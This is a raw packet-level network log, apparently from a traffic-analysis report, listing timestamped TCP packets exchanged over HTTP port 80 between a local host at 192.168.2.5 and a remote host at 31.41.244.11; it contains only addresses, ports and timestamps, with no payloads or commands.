Dec 18, 2024 21:30:17.282915115 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.282990932 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.283829927 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.283972979 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.284013033 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.284054041 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.284912109 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.284965992 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.285110950 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.285264015 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.285978079 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.286043882 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.286111116 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.286168098 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.287025928 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.287075996 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.287220955 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.287350893 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.288160086 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.288345098 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.288352966 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.288429022 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.289243937 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.289302111 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.289341927 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.289417982 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.290268898 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.290473938 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.290554047 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.291399002 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.291507006 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.291548967 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.291946888 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.292428017 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.292552948 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.292588949 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.292700052 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.293575048 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.293669939 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.293678045 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.293801069 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.294682026 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.294754028 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.294832945 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.294920921 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.295663118 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.295795918 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.295845985 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.295932055 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.296731949 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.296852112 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.296891928 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.296983004 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.297801971 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.297943115 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.432399035 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.432514906 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.432528973 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.432656050 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.432769060 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.432843924 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.433154106 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.433602095 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.434048891 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.434124947 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.434216022 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.434278011 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.434986115 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.435043097 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.435168028 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.435241938 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.436553955 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.436609983 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.436692953 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.436798096 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.437369108 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.437494993 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.437580109 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.437580109 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.438484907 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.438585997 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.438649893 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.438755989 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.439219952 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.439275980 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.439449072 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.439517975 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.440368891 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.440449953 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.440530062 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.440586090 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.441370964 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.441485882 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.441548109 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.441674948 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.442524910 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.442596912 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.442683935 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.442769051 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.443593979 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.443754911 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.443779945 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.443815947 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.444605112 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.444787025 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.444899082 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.444899082 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.445679903 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.445749998 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.445857048 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.445916891 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.446785927 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.446906090 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.446939945 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.447304010 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.462235928 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.462343931 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.462405920 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.462420940 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.462452888 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.462466955 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.463011980 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.463027000 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.463063002 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.463063002 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.463453054 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.463537931 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.464010000 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.464114904 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.464692116 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.464709044 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.464721918 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.464736938 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.464762926 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.465255022 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.465291977 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.465357065 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.465357065 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.465929985 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.465945959 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.466166019 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.466166019 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.466639042 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.466655016 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.466712952 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.466758013 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.467324972 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.467349052 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.467361927 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.467433929 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.467433929 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.468138933 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.468153954 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.468224049 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.468224049 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.468729973 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.468745947 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.468866110 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.468866110 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.469568014 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.469583035 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.469646931 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.469691992 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.470416069 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.470438957 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.470491886 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.470509052 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.471175909 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.471190929 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.471204996 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.471216917 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.471244097 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.471767902 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.471792936 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.471821070 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.471837044 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.472402096 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.472418070 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.472466946 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.472965956 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.472982883 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.473032951 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.473032951 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.473741055 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.473757982 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.473773956 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.473779917 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.473810911 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.474332094 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.474358082 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.474422932 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.474422932 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.475091934 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.475106955 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.475203991 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.475800991 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.475816965 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.475898981 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.475898981 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.476496935 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.476512909 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.476633072 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.477191925 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.477207899 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.477224112 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.477247000 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.477289915 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.477961063 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.477987051 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.478035927 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.478080988 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.478636026 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.478681087 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.478766918 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.478766918 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.479283094 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.479300022 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.479356050 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.479356050 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.479749918 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.479774952 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.479799032 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.479846954 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.480436087 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.480451107 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.480499983 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.481125116 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.481139898 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.481237888 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.481237888 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.481748104 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.481906891 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.481993914 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.482108116 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.482377052 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.482438087 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.482698917 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.482846022 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.483568907 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.483647108 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.483711004 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.483946085 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.484539032 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.484677076 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.484708071 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.484869957 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.485594988 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.485703945 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.485833883 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.485954046 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.486721992 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.486850023 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.486960888 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.487746000 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.487876892 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.487967968 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.488064051 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.488837004 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.489064932 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.624718904 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.624741077 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.624829054 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.624829054 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.625053883 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.625354052 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.625490904 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.626178026 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.626266956 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.626385927 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.626430035 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.627207041 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.627259970 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.627399921 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.627989054 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.628292084 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.628398895 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.628456116 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.628628016 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.629384995 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.629457951 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.629550934 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.629642963 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.630445004 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.630491018 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.630604029 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.630656958 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.631531954 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.631702900 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.631772041 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.632591963 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.632659912 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.632749081 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.632805109 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.633800030 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.633871078 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.633929014 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.634010077 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.634757996 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.634836912 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.634959936 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.635121107 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.635875940 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.635972023 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.636156082 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.636322975 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.636959076 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.637057066 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.637080908 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.637336016 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.637980938 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.638027906 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.638185024 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.638365030 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.639067888 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.639214039 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.639234066 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.639271975 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.640166998 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.640250921 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.640328884 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.640428066 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.641220093 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.641300917 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.641370058 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.641427994 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.642314911 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.642400980 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.642469883 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.642704964 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.643440008 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.643588066 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.643606901 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.643651962 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.644521952 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.644583941 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.644674063 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.644709110 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.645550013 CET	80	49804	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:17.645632982 CET	49804	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:17.645711899 CET	80	49804	31.41.244.11	192.168.2.5
